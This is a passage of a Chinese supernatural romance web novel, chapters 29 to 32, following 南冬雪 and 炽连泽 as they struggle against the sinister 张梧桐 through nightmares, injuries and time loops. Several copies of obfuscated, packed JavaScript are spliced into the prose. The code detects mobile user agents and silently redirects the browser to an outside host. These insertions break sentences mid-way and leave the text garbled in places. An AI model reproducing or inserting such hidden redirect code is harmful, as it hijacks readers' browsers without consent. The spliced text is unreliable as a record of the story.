南冬雪很快摆脱了无助的情绪,一伸手,看见自己从手指尖开始,灰烬掉落,瞬间整个身体都消失了,和刚刚消失的张梧桐一样。 “是不是能和你在一起了?”南冬雪甚至是兴奋。 她的身体没有了,意识还存在。 她又来到了另一个地方。白色的墙壁,一眼望去,前方是空旷的大堂。尽管灯光明亮,但她的视觉带着某种阴暗滤镜似的,把这一切普通的建筑内部看成死亡的场地。 她没有看错。这里是火葬场。她才刚刚从里面出来。 墙上的电子钟上显示的时间是2025年2月11日。 如果没有被救,那么现在就是她死亡的时间。 眼前的墙角坐着一个人。是炽连泽。真是哪里都能遇见他啊!南冬雪暗自兴奋的想,正好已经人鬼殊途,就逗一逗他好了。如此想想都觉得兴奋。以前不敢对任何人造次,实际上她也很喜欢捉弄别人的。 但是炽连泽为什么看起来如此痛苦?他为什么待在这儿?是奶奶,还是爷爷,出了什么事情吗? 南冬雪在炽连泽面前用手晃了晃。炽连泽没有说话,南冬雪已经知道答案了。 是她自己。 “喂!”南冬雪拍拍炽连泽的肩膀,“不用伤心,人都是会死的。你和我不一样,你会很幸福的,一直自然老去。可惜我,连守护我的神也放弃我了。炽连泽,你放心,我以后会保佑你的。” 说着伤心的话,言语之间一点也不伤心,反而欢欣雀跃。这样那样,对她来说都没什么关系。 突然,精神深陷无尽深渊之中的炽连泽爆发出一股蛮力,用拳头狠狠的砸向墙面。 血液迸溅。 南冬雪觉得脑袋闷闷的疼。好像那一拳砸在了她的身上。 炽连泽移开拳头,雪白的墙面上已经留下了四块拇指大小的血迹。而他的手上也破了皮。更糟糕的是,他用的是那只需要静养的伤手。现在,伤上加伤,手更疼了。南冬雪也感觉到疼。 这还不够。内心的崩溃需要更大的痛苦来平衡。 他再次砸过去。一滴血液再次溅开来,落在南冬雪的脸上。 她为什么还有实体? 来不及花时间思索,炽连泽第四次砸向墙壁时,南冬雪扑过去,抱住了他那只手。 “不要伤害自己了。会慢慢过去的,已经足够了。睡一觉就没事了。” 炽连泽这是为了她。她感知到了炽连泽的内心,满脑子都是她。 “你忘了吗?炽连泽是个笨蛋,他根本没有自己的精神支柱,完全是个空心的美丽皮囊。你们两个某种程度上挺配的,要是合二为一,你觉得怎么样?他说想要你的一颗玲珑心,那就给他吧,你愿意的,对不对?” 南冬雪低头,看见炽连泽的手穿过了她的身体。从旁观者的角度去看,炽连泽的手上捧着她那颗心脏,仍然在颤动。 “这是我送给你的最后一个愿望,亲爱的,我谢谢你。炽连泽将会成为继你之后的下一个试验品。” 为什么要这么做?你想干什么? “你管我?!” 嗯?这么任性? “和你有关系的每一个人都不会有善终。现在你还会因为遇见了他们感到幸运吗?” 炽连泽崩溃心死,在一次深山密林的救援任务中失足跌落悬崖而死。他的奶奶先是因为流感身体虚弱,接着听到了南冬雪的死讯,病情加重,最后唯一的孙子的遇难是夺走她生命的最后一根稻草。 林森河妙华因为执着于追查张梧桐的身份,以及为南冬雪的死亡讨说法,劳累过度撞上栏杆,掉进水库中尸骨无存。 宋敏安反而因为南冬雪的死亡得到了意外之喜,一路顺风顺水,大权在握,让方颖成为了他的第四任妻子,占据了其千万家产,好不得意。 甚至是平时和南冬雪共事的几个人——菲菲、小熊、琪琪,最后也被害得憔悴不堪、以泪洗面的下场。 看到自己捅穿了南冬雪身体的炽连泽吓疯了,声音颤抖着,浑身都开始疼,发热,犹如炙烤。 “张梧桐,救命。” “张梧桐,救命!” 炽连泽乞求他,放过南冬雪,不要伤害她。 “你不是一直都想要她的这颗心吗?我现在终于成全你了,你不开心吗?其实比起南冬雪,我更喜欢你,做我的玩物。再来一次,怎么样?” 时间过去了五分钟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122517|162633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南冬雪产生了痛觉。她再一次经历身边人被伤害的情景,接着,自己的心脏被炽连泽拿出来。 这都是假的。南冬雪告诉自己。 对对对,都是假的。张梧桐在某处轻笑。然后,再一次循环。 炽连泽越来越痛苦,越来越没有人样。 某个地方传来敲门声。“南冬雪!给我开门”!“南冬雪,马上回来找我!到我身边来就没事了”!“南冬雪,他不是神,是个坏东西,不要听他说话,马上出来见我”! 那个声音很远很远。 又一次,炽连泽出现了。满脸的绝望,像是一只水鬼,透着死亡的气息。接着,南冬雪发现,他那只右手不见了,袖子空荡荡的晃着。 他朝她笑,“终于不会伤害你了,南冬雪,我这次是不是很勇敢?你在这里等我,我会回去救你,一定会救你。” 炽连泽一步步后退,转身奔向那空旷的光芒尽头。 所以,他那天是在经历这些事情?回想起他后来的表现,南冬雪相信这是真的。伤害或许是假的,但留在身体里的痛苦记忆是真的。 “我记得,张梧桐,这块宝石是你的宝贝。”南冬雪一下子将宝石吞进肚子。 一个男人急促中现身,又怒又无奈的认输,“算你厉害。你会带着这份诅咒一直等到刚刚看到的一切慢慢成真。” 那是一张南冬雪从未见过的脸。绝对漂亮,但坏。 她抓住这人的衣领,踮起脚,冲他的脖子狠狠咬下去。 敲门声仍旧不断。陡然间,破门声伴随着一股吸力,南冬雪带着所有的身体、精神的痛苦回到和张梧桐曾经的家。 有人从门里进来,有人从窗户进来,熊熊大火已被浇灭。但他们进来之后,大火似乎不曾来过。扫射进来的水也不知到哪里去了。 房间里的一切摆设不曾被火、或者水破坏。 “南冬雪,你怎么样?睁开眼睛看我!” 她抓住这人的衣服,猛然凑上去,用自己全身上下最有攻击力的地方,冲他最薄弱的地方咬下去。 “啊!”男人发出痛苦的呼喊,但接下来生生忍着疼痛,阻止队友们不要紧张,“没关系的,她需要发泄。” 炽连泽的脖子上多了一个血红的伤口,是完整的牙齿咬痕。 护士调侃道,“凭你这体质,肯定会留下疤痕。” 队友叹息,“泽哥这是被人盖章了,以后就不能找别的女朋友了。” “别乱说话。”炽连泽眼神警告。他不能逼着南冬雪去做什么。 “不过你这胳膊上的伤又严重了。”队友帮忙把炽连泽掉下去的衣服拉到肩膀上,看见他原本吹弹可破的肩膀处多了一条可怖的伤疤,就像是曾经断过臂,又接回来了一样。 队友惊慌万分,询问护士道,“这个?!这是感染了什么病吗?” 护士仔细看了看,无语道,“这就是普通的伤疤啊!不过,是有些奇怪……” 太过刻意让人留疤似的。粉白的肉里透着黑色的不明之物。 “好了。”炽连泽夺回自己的胳膊,穿上衣服,敷衍着,“没什么好看的,是以前的伤。我去看看伤员怎么样了。” 那位伤员,是炽连泽很在意的人。队友黄惜晨还是第一次感到炽连泽也是个有着七情六欲的人,和大家没有什么区别。 正好,南冬雪的手术做完了。 从她的身体里取出来一颗红宝石,医生开玩笑道,“价值不菲。” 这个是问题的关键吗?南冬雪在房间里见到了谁?在什么时间?发生了什么?她为什么要把那颗红宝石吞进肚子。 “幸好没有伤到内脏,没有什么大问题。”医生说完,想起一个比较重要的问题,“她的心脏一直都很虚弱吗?有心脏病之类的问题吗?我建议家属还是带着病人去检查检查,或许一些天生的缺陷一直没有表现出来,成年之后突然就会致命。” 29. 共此时 他胳膊上的伤口,自从打开宋敏安的车门那一刻就出现了。用那只手揍人时,能感觉到它的疼痛。等南冬雪脱险之后,他发现了那圈伤疤。 在时间循环里的一切都是真的,给他留下了身体上的伤痕,和精神上的崩溃。 现在,南冬雪的心脏也被怀疑有问题。 是他做的吗?恐怖的记忆再次席卷而来。炽连泽觉得有伤疤的地方,开始剧烈疼痛,好像要断开来。不管情况如何,他都不愿意伤害南冬雪,不愿意伤害任何人。 他低头看着自己的手,心想在这里也一样。要是张梧桐捣鬼,迫使他做坏事,那么这只手臂也可以牺牲。 透过病房窗户,他看到南冬雪正在对着玻璃照镜子。手放在左胸处,感受良久。她从玻璃上看到了炽连泽,难得的露出希望他靠近的眼神。 炽连泽从来没有像现在这样紧张。他的人生里,没有什么事是他必须做到但害怕希望落空、被自己搞砸的。在做危险的任务时,前路未知,他也不会去想那千千万万种失败后果的可能性,只是一根筋的往前冲,尽其所能。会痛苦,会恐惧,不会紧张。 这次,他走进去,是必须完成一份满分答卷,否则……否则他会……不知道。 炽连泽快速的走进病房,关上门。他必须如此小心,因为他正穿着从医生那里“借来的”白大褂,脖子上挂着听诊器。 X线胸片显示心脏模糊。医生只一味的安慰说可能是万分之一的偶然性,建议他们去更高一级的医院再做检查。 “人没有心脏还能活着的话,那不是成为世界奇迹了。” 有张梧桐在的世界,还不能称之为奇迹?但这是难以承受之痛。炽连泽不愿意相信。 他装模作样的把记录板放在床上,叫南冬雪坐过来。 “每日例行检查。”他压着嗓子,沉声说。不敢抬眼,不敢看她。 南冬雪在他面前坐下来,仰望着医生的脸。听诊器的胸件贴在她的心脏处,微微冰凉。 “怎么样?我有问题吗?”南冬雪问。 “别紧张。”医生的眉头皱起来了,换了一个位置去听,似乎不尽如人意,再换一个位置,他还不想放弃。 南冬雪却笑起来了,“炽连泽,你干嘛这么严肃?我自己感觉还挺好的。” 炽连泽放下听诊器,拉下口罩和帽子,也陪着笑了,不过透着一股子凄惨味。他坐在南冬雪身边,不轻不重的叹了口气,“你怎么还能认出我来?” “身形,眼睛,对你太熟悉了,当然会认出来,你怎么这么傻?” 南冬雪发觉自己现在已经没有以前那样又渴望靠近又不得不理智的排斥炽连泽了。就是因为张梧桐赠予的那场噩梦。她受伤了,炽连泽也受伤了。身边的其他人或许也会在未来受伤。她的未来笼罩着一场阴影,炽连泽被拖累其中。就像炽连泽以前说的,他们得奋起反抗。 “害怕吗?”炽连泽眼里满眼心疼,脸上故意做出一副欢快轻松的表情。 南冬雪仔细观摩这张脸。他对她的感情太过突然了些。仿佛昨天还断绝情义、互不往来,今天就情根深种,心如磐石坚不可摧了。 “你的胳膊还好吗?” 炽连泽因为她的关心受宠若惊,说,“还好,比你的情况好一些,我的胳膊还在。” 两人看着前方,静默了一会儿,各自想着心事。炽连泽又说,“你开始恨我了吗?” 南冬雪嗤笑,“你是傻子吗?我恨你干嘛?” 炽连泽不语。那样触目惊心的事情,他连说也无法说出口。如果能够一个人承担的话,他愿意独自肩负所有。现在,南冬雪丢失了自己的心脏,他应该怎么办呢? 因为南冬雪死去,他悲痛欲绝,泄愤之时,却误伤了另一个时间里的南冬雪。一次又一次。现在,没有心脏的南冬雪,还能保持这样看起来一切正常的情况多久? “又不是你的错。”南冬雪用胳膊肘撞了一下炽连泽,笑话他竟露出那样忧伤的表情,“我们去找张梧桐吧,都是他的错,找到他,就能解决这一切了,你觉得对不对?” 炽连泽似乎恢复了一点信心,坚定地点着头,“南冬雪,你真的很厉害。” 南冬雪被这傻子突然而来的夸奖搞得很不好意思,不清楚自己到底厉害在哪里。但她此时已经不由自主的站在了被炽连泽捧出来的主导位置上,命令道,“把你的衣服脱了。” 炽连泽一惊,脑子里又一下子想到了不可描述的画面,还表示害羞,欲拒还迎,“这不太好吧?” 手已经放在第一个纽扣上在动作了。 “我看看是不是留下了什么东西。” 炽连泽松了一口气,恍然有些失望,又把解开的扣子快速的系回去,“不用了,只是留下了伤疤,别的没有什么。” “我看看有没有什么线索。” 这话成功的说服了炽连泽,只好乖乖的宽衣解带,以免影响南冬雪的正事。他把右边袖子脱下来,露出半边身体,坐在床边,脸颊慢慢泛红,眼睛根本不敢看向南冬雪。 她的鼻息扑在他的肩膀上,连手指也碰了上去。 炽连泽被搞得心惊肉跳,头脑发热,忍不住去看她,脸上不觉浮起笑意。 “会不会疼?” 某人顶着一张欢愉的红脸回答,“有时候会有一点点疼。” “那就好。” 话刚说完,伤疤处那点点黑色的痕迹如新鲜墨迹点在纸上一般,开始渲染开来。炽连泽突然抱着胳膊大叫,显然是疼得厉害。那墨迹犹如画笔伸展开来的枝丫,往下生长了三寸。 南冬雪看着炽连泽的身体整个充血,青筋暴起,冷汗直流,只好准备去求助医生,还未转身,看见炽连泽正从口袋摸什么东西,立时心里产生了不好的直觉,连忙用双手按住了他那只左手。 果然,炽连泽从口袋里摸出来的是一只手术刀,他打算牺牲那只右手。和噩梦里一模一样。 炽连泽此时跪在地上,右手臂放在病床上,左手拿刀准备挥刀而下。南冬雪便置身于他的左手必经之道上,敌不过炽连泽的力气,就用身体护着他的右手,顺势抱住了他的脖子。两颗脑袋紧紧贴在一起。她能感觉到他那强有力的心跳,还有他皮肤上的热度。 如果还要再来一次,那就让她成为牺牲的那个人。她什么话都说不出来。在这样的情境之下,她只会默默接受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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炽连泽低头看向她的手。南冬雪看见他已经伸开了右手,邀请她把自己的一半交给他。 南冬雪不再犹豫,把手放进他手里。 炽连泽右手握着南冬雪的手,用左手去开门,甚至为了防备南冬雪再次抢在他前头,用一只脚挡住了南冬雪前进的路。他探头往外看了看,空无一人,没有任何奇怪之处。 他拉着南冬雪走了出来,站在门口,一个人朝左边看,一个人朝右边看。 心情忐忑的等了好一会儿,仍然没有出现任何情况。 两名护士从尽头走来,看着他们感到奇怪,问说,“你们有事吗?在这干什么?” “请问一下,今天是几号?几点了?”炽连泽说。 “1月10号,晚上十二点,大家都睡了,你们也回病房去,别乱跑了。”护士叮嘱后离开了,不久走廊了又是寂静无声。 “看来没事。”炽连泽忍着内心巨大的兴奋对南冬雪说,他悄悄的握紧了南冬雪的手。这可是第一次拉手,果然,是一种心连心的感觉。“要不去吃个宵夜?” 南冬雪点头。 她不再拒绝他了。 30. 生明月 三百六十次。在短短的半个月里,炽连泽带着南冬雪在大街小巷开门,如今已共计三百六十次。 包括餐厅门、电梯门、小区大门、南冬雪的家门,车门、游乐场的电闸门等等。炽连泽的力量好像消失了,他们两个人只能自此等待厄运的降临似的。 “你看,我洗完澡之后,海棠花又回来了!” 南冬雪失落许久,炽连泽一发现这个令人惊喜的好事,迫不及待的跑出卫生间去和南冬雪分享。 他只在下半身裹着一条浴巾。 南冬雪的眼神不知道该往哪里放,但还是跟着他一起去试试这次会不会去往一个张梧桐存在的时间。 站在浴室门前,炽连泽同往常一样,右手往后搜索,准确的抓到了南冬雪的手。这已经成了习惯。南冬雪有点跑神,她不懂为什么要走进浴室里去。 在这件事上,谁有想法,对方都会无条件的支持、配合对方,已是不言而喻的默契。 炽连泽推开浴室的门,期待的搜寻线索。 随手放在洗手池上的内衣、到处是水雾的玻璃、蓝色胡萝卜形状的拖鞋、薰衣草香味的沐浴露……完全是炽连泽自己的痕迹呢! 南冬雪有些失望。 自从和这个人绑在一起,寻找张梧桐的踪迹这件事上一点进展也没有。炽连泽倒是得寸进尺,逐渐鸠占鹊巢,甚至发展到在她家随便的洗上澡了。尽管是因为他们刚刚淋了大雨,南冬雪不好意思把送她回家的人再赶出去。 “还是老样子。诶,你有见过张梧桐从浴室出来的样子吗?” 在南冬雪看来,炽连泽是在调侃。正要怼他,炽连泽撞在门把手上,身上仅有的那条浴巾瞬间松开来,遮掩的皮肉便呈现在旁人眼皮子底下。南冬雪连忙转身,顺手拉上了门,表面上强装淡定道,“把里面给我收拾干净,不然我不会让你出来的。” 后来,炽连泽一直别有所图的看着她。一眼便能看得出来,他是在回味南冬雪看到他裸体的事情,企图求证、讨论,最好能暧昧着暧昧着,两人的关系进一步上升到一个新的阶段。 “我什么都没看见。”南冬雪一再申明。奈何炽连泽无赖的不信,贱兮兮凑上来说,“怎么样?很好看吧?” 一个人哪有一群肌肉男好看? 当方颖在公司宣布,有一个搜救队的外国语培训工作,为期一个月的时候,所有的女同志都沸腾了。不过在方老板的偏心之下,其中一个名额特意留给了南冬雪。 南冬雪只知道炽连泽也是搜救队的,但没有注意过他属于哪一片地区,也从来没有问过。当然,知道这件事之后,也没有向他提起过。她甚至想好了,如果炽连泽非要送她去上班,那她就先到公司,然后再自己打车去做培训。 她并不是被男色迷了眼睛,而是情不自禁的唤醒了久远的一个念想。 尽管时间已经过去了这么久,但那个念想就像是长在伤疤里的一个杂质,永远的去不掉了,除非把那块已经长好的肉再次剜开,去掉杂质。 年关将至,天气越来越冷,练场上的队员们脱掉了上衣,一个个汗流浃背,在明媚的阳光下展露着优越的身材。 炽连泽看了连连叹气。这些人,平时也不见这么刻苦,为了不学习,什么都做得出来。要是说一句,这些高学历的姑娘们不仅喜欢健硕的身材,也喜欢有内涵,他应该会被打死。 几个女孩子正挤在资料栏前,对着上面的几张照片指点江山。 “这个好帅!” “我喜欢这个,这个长得虽然不出众,但是耐看,你看他眼神,感觉是很正义的人。” “你说得对,很不容易发现呢!你们看这个,是不是摔的很突出?其他人的脸都看不清楚,但是你看他,只是一个脸型,也知道他是清瘦俊秀的那一挂。” “不过觉得他傻傻的。我还是喜欢这个。” “这是我们队长。很可惜,他已经结婚五年了,孩子都满地跑了。”炽连泽在女孩们背后好心的插话,指着长得不出众的那个人解说道,“这个人是我们队的智多星,高材生,海外留学回来的。” 刚刚夸他帅的女孩子盯着炽连泽看了半天,终于想起来这个人在哪里见过,惊喜道,“你是不是每天来接南南下班的那个?” “南南?”这个称呼乍一听,炽连泽没想起来是谁,但清楚他每天都去接下班的人是南冬雪。他自问自答,“是啊,我每天都会去接她下班。您三位是……南冬雪的同事?” “是啊。”其中一位小熊忽然想起了不对劲的事情,向身边的两位同事求证,“南南不是说过她老公是出版社美工吗?还送了我们几幅他老公画的画,可您怎么是搜救队的吗?” 炽连泽笑得倾城,试图让她们忘掉这件事。“我给大家带了小蛋糕和热茶,来点吧。” “那你和南冬雪是什么关系?”小熊还是觉得不对劲,又以为这个人就是送南冬雪上班快一年的她老公,又清楚记得这个人是前些天第一次看见的。那时他穿着西装,站在楼下,和刚刚在照片上一样的特质,帅得很突出。这是南冬雪的老公所没有的。 “我?我啊?”炽连泽清楚他不可以乱说话,不然会给南冬雪造成不必要的麻烦,但他一时半会确实又想不到好的应对方法。干脆想要把这个问题抛给南冬雪,话一出口却变成了,“我来给几位姐姐变一个魔术如何?” 他怎么可能会变魔术?脑袋晕了吗? 炽连泽把手上提着的众多物品集中在左手上,右手开始在眼前如风如雾一样混淆视听。他到底要变出什么来?炽连泽自己也不知道,但那只右手已经受他控制。下一秒,炽连泽将自己的脸用到了极致。 三个女孩的注意力都被他的笑容吸引了过去。 “送给三位貌若天仙的美女!”炽连泽的手里凭空多出三支黄玫瑰,连他自己也无比震惊,脸上却仍然保持着为美女服务的赤诚。 三支玫瑰送给三位美女。她们乐得开怀,恨不能立马和炽连泽成为蓝颜知己。又是一通夸赞,有来有往。炽连泽瞅准时机准备告别。 “请问,南冬雪在哪儿?我找了她很久,没有看到。”炽连泽继续用蛊惑的又轻又缓的声音说,实际上他已经很急了。他不知道自己为什么表面和内心变成了两个人。 “她好像在训练场,刚刚在那看帅哥看得入神呢,也不和我们到处走走。”小熊看向身边的另外两位女孩,脑袋挤在一块,鬼迷日眼的笑了,“咱也不明白,南冬雪有这么帅的老公,还要去看别人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146907|162633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是啊,那丫头命可真好,平时也不炫耀。”琪琪附和道。 “几位……是在说……”炽连泽觉得她们是在说自己,但谈话的内容并不准确。 “不是说你还能是说谁?”小熊故作嫌弃的说,一下子又变了脸,极其期待的凑过来,“是你先追得她,还是她先追得你?你们怎么认识的?结婚几年了?保持如此相爱的秘诀是什么?你最喜欢南冬雪哪一点?” “干嘛这么问?”琪琪撞了一下小熊,“人家当然是喜欢我们南南的全部,那其他问题呢?快说说,南南平时都不怎么说自己的事,问了也含糊其辞的,有这么完美的老公,还遮遮掩掩干什么?” 坏了。炽连泽心想,这些人完全是把张梧桐和他混为一谈了。趁着她们不注意,炽连泽悄悄溜走,来到训练场,果真看见南冬雪正坐在秋千上出神。 南冬雪沉浸在过去某个时间点的回忆中,被消极情绪纠缠着无法自拔,忽而眼前一个男人开始脱衣。南冬雪对此行为深恶痛绝,潜意识里已经挥拳到了他脸上。现实里,她只能乖乖待着,最严重的反抗行动只是怒目而视。 这人践踏着她的柔弱,更加兴奋了。上衣又脱掉了一件,已经露出白花花一片的皮肉。 该死的。要是诅咒能有效就好了。南冬雪尚未完全回过神来,刻在骨子里的某种规训先令她的大脑做出了恰当的反应。 衣服扔到了南冬雪怀里。一股难闻的味道扑鼻而来,她想要吐。要是扔回到他脸上,她的下场会不会很惨? “你不是喜欢看吗?怎么不敢看我?” 如梦初醒。南冬雪终于摆脱了记忆里的恶蔓纠缠,回到了面前的现实之中。她想起刚刚那声音,这不是……炽连泽? 南冬雪迅速把怀里的衣服砸到炽连泽脸上,嫌弃的说,“快把衣服穿上,要是感冒了我可不会管你。” 很奇怪,知道是他之后,那两件衣服上的味道变得不那么令人恶心想吐了,反而是,有点好闻,吸引着她去靠近,远离之后开始怀念。 眼看着南冬雪开始逃跑,炽连泽一边穿衣服,一边紧紧跟在后面,偏偏还要凑在她耳朵边说话。 “要是别人问起我们是什么关系,我该怎么回答?” 南冬雪不愿意被熟人看见,更不愿意在大庭广众之下,和一个男人拉拉扯扯,看似亲密,厌弃的斜眼瞪他,“能是什么关系?就很久以前的同学关系,还能是什么关系?” “可是……”炽连泽跳过一个双杠,轻巧的落在南冬雪面前,“你那几位同事好像认为我是张梧桐了,你能理解我在说什么吗?这和我没有关系,不是我误导的。” “随便怎么样吧。在认识的人面前,你和我保持距离,好吗?为了我们各自的名声着想。” “啊?”炽连泽把脖子上的一块止痛膏药撕开来,“要是我以后的女朋友问起来,我该怎么说?” 南冬雪的目光沿着炽连泽的脸下移到他的脖子处,那儿有一个明显的新鲜咬伤,要是去做牙模的话,绝对是一个标准的印模。 “是我干的?”南冬雪没有一丁点记忆,但从炽连泽的话里能听出来那是她的杰作。 炽连泽骄傲道,“那不然是谁?怎么样?你负不负责?” 31. 只如初见 这当然是好事了。南冬雪哪能拒绝。她表面上被迫无奈的敷衍说,“负责,当然负责。” 为了负责她犯下的错误,炽连泽以后的身边人,只能是她。 炽连泽多次表明心迹,事到如今,南冬雪也不再抗拒,只是要和他进展迅速的开始恋爱,甚至是结婚,还需要一些时间。 或许,她的身体支撑不了多久了,或许,炽连泽因为胳膊上的伤痛不欲生。他们在需要时,两颗心紧紧相依,假装回到了正常生活时,南冬雪还在忌惮。 她被动的,跟随着炽连泽的节奏。面对他的刻意调戏,南冬雪已经不再拒绝,这就是进步。炽连泽明白。以前他甚至不敢透露出一丝认真的态度去说那些会被人打的话,去做被人厌弃的行为,南冬雪会默默的远离他。现在,她有所回应。 炽连泽心里乐开了花,规规矩矩的做一个乖顺的孩子。他凑上去,尽管没做什么额外的事情,但他明显感觉到和南冬雪之间的气氛也比以前更加亲密了。大概,是因为她不抗拒,有所回应。 “我只给你带了,看看,最好吃的,我们找个地方藏起来,悄悄吃,别让他们看见了。” 我的偏爱只给你。炽连泽向南冬雪传达了这一点,南冬雪也准确的接收到了。她露出期待的目光往他扯开来的怀里看去。他的内侧口袋里,装着一个纸袋子。 “是什么?” “你悄悄拿,别让我们队那些饿货看见了。” 南冬雪偏了偏头,绕过炽连泽的身体遮挡,看见训练场上所有人都停下来了,三三两两站在一起交头接耳,看着他们这边。南冬雪突然袭击,他们手忙脚乱的假装继续训练。还有楼上,三颗脑袋挤在一处,笑呵呵的同她打招呼。 南冬雪恼羞成小怒,迅速的掏了那纸袋,把他衣服上掩在一处,推了他一把,低着头离开。 炽连泽向四方举起双手挥拳,宣告胜利。他的队友们皱着眉头,夸张的做出恨恨的表情看着他,实际上是用嫉妒表示羡慕、祝福。 坦然的接受他对她的好,这为什么会让她不安呢?害怕自己不配,害怕他会后悔,害怕他发现自己的真实面目之后的反应。 晨练之后,便是临时老师们的主场。所有人都得坐在培训室里,乖乖听她们的指挥。南冬雪作为助理,小熊是主讲人,宛如小学生课堂,气氛活跃。 “现在我们分成五人一组,每组一个带教老师,大家跟着老师练习十分钟。” 原本坐在最后排的炽连泽一听这话,连忙蹿到了南冬雪面前。把已经加入到她这一组的人挤出去一个。对此霸凌行为,那些人不仅不恼怒,还不约而同发出怪音起哄。 不分场合。南冬雪想。她戴好了微型扩音器,没有调整好音量,发出刺耳的声音,连她自己也惊了一跳。 整个培训室里五名老师,只有她需要带扩音器,还没开始便折磨了大家的耳朵。 “不好意思,我马上就好。” “需要这个吗?上学时候我最讨厌这个声音了,老师不仅伤自己耳朵,也伤别人听力,真的需要吗?我们就五个人。” 她好不容易想了个好办法,让自己的声音大一些,给人的印象也大大方方一些,以后再也不会被人为难。谁能想到“出师未捷身先死”。南冬雪尴尬,乖乖的又把扩音器关掉,从脖子上拿下来。 炽连泽伸手接了过去,戴在自己身上,盯着南冬雪,手上熟练的把那东西整理好,笑说,“老师有什么话和我讲,他们听不见的话我来当你的扩音器好了。” 扩音器打开,炽连泽故意挤到四位队友耳边大喊,“就你不喜欢学习吗?”一番打闹,以炽连泽被浅浅揍了两拳结尾。 旁的小组欢声笑语,南冬雪这边冷冷清清,大家都像一块块在冰雪天地之间冷冻了许久的砖头,而南冬雪是寒冷之源。她一本正经,队员们提不起兴致,无精打采,昏昏欲睡。 不论什么时候,这种对比给南冬雪带来的心理压力总是毁灭性的。她怀疑自己这种人存在的意义。尽管努力过很多次,但是总也无法融入世界的主流人群。方老板要她参加这种活动,就是为了锻炼她随机应变的能力,南冬雪此时觉得难受。她想要退缩,又因为老板的苦心不愿意就此放弃。 窗上的阳光被挡住了几分,一个人在外面敲了敲玻璃。南冬雪最靠近窗户,一扭头,便看见一个穿着白色西装的男人在太阳中心发光。耳熟能详的神明幻想在这一刻有了实体。 南冬雪当然知道他只不过是一个长得漂亮的人罢了。非男非女,没有任何可以争议的矛盾点,只是一个能够迷惑众生的漂亮皮囊。 因为光芒耀眼,她有点儿看不清他的脸,并没有认出是谁,再三确认之后,才知道这个人是来找她的。 炽连泽也发现了那人和南冬雪的互动,心中生疑,打开窗户,那人探进了上半身,趴在窗沿上,笑意盈盈的同众人打招呼。 “呦,小炽,好久不见。小刘,大飞,你们有长进了啊,不错不错。” 南冬雪这才看清了这个人的脸。棱角分明,线条柔和,浓眉大眼,算不上绝世容颜,只能说他身上有种独特的气质,令他看起来魅力无限。 那种气质是什么呢?南冬雪明白自己也被吸引了,但想不出来那到底是什么。或许是自由,或许是凌驾于别人之上的气场,但本人谦虚低调?这人是谁?南冬雪观察着炽连泽以及他队友的反应。 几人皆是愣了片刻,最终还是话多的那位率先认了出来,惊喜道,“宋队长?!宋队长!你怎么回来了?” 这么一说,其他人也想起来了,纷纷凑上来,把南冬雪和炽连泽挤到一边,快要让这位宋队长变成一只花梗。 “你不是去南极冒险了吗?” “什么时候回来的?队长这次回来是不是表示归队了?” “宋队长跑这一趟,能年轻二十多岁。” 队员们七嘴八舌,盛情难却。这么多人都认为他是货真价实的宋风扬。炽连泽和南冬雪看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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南冬雪正要听命,被炽连泽一把拉住,拖到身后,梗着脖子义正言辞道,“你们根本不是一个学校的,算什么学长?南冬雪的安全现在由我负责,要是想要见面,必须有我陪着。” “哦呦~~!” 看客们发出这样的怪叫。突然间站在桌子上的一个人发觉桌子歪倒,身体不可控的向下倒去,顿时引起一个不小的动静。若是仅止于此,谁也不会多想。哪知那一排排钉在地面上的铁质桌子竟然断了腿,扭曲的铁条不知怎么直直插入了一名队员的小腿中。 顿时惨叫声、惊叫声,混乱的指挥施救声,拆除桌椅声,奔跑声,互撞声,乱成一团。唯有宋风扬依然保持着邀请美丽的小姐共舞的绅士表现。 炽连泽于这种突发状况中,只来得及确认一眼南冬雪还待在他的身边,嘱咐她不要乱跑,迅速的加入了救援之中。 “开心了吗?” 南冬雪惊恐、失去思考能力的时候,听见来自心底的声音。她扭头去看宋风扬,这人恍如另外一个世界的人,对眼前的惨剧丝毫不见。他的眼底、嘴角,洋溢着笑容。 “让你不开心的人,永远也开心不起来了。我是不是对你很好?” “一起走吧。”宋风扬偏了偏脑袋,风华绝代,坏得彻底,“距离我们在一起只差你这一步。” 32. 瀚海阑干 暮冬的季节变成了深秋。草坪上落满了金黄色的梧桐叶。这是南冬雪最喜欢的一个场景。太阳暖洋洋的照着,在星期五不用上课的下午,她拥有属于自己的一小段时间,可以用来发呆。 这个世界上,还有谁能够了解她如此之深。 本来追逐着那人脚步的南冬雪停下来,看着他的背影,赌他会不会停下来。 宋风扬在南冬雪这一想法产生的那一瞬间,确实停下来了,但他微微侧了头,继续走自己的路。 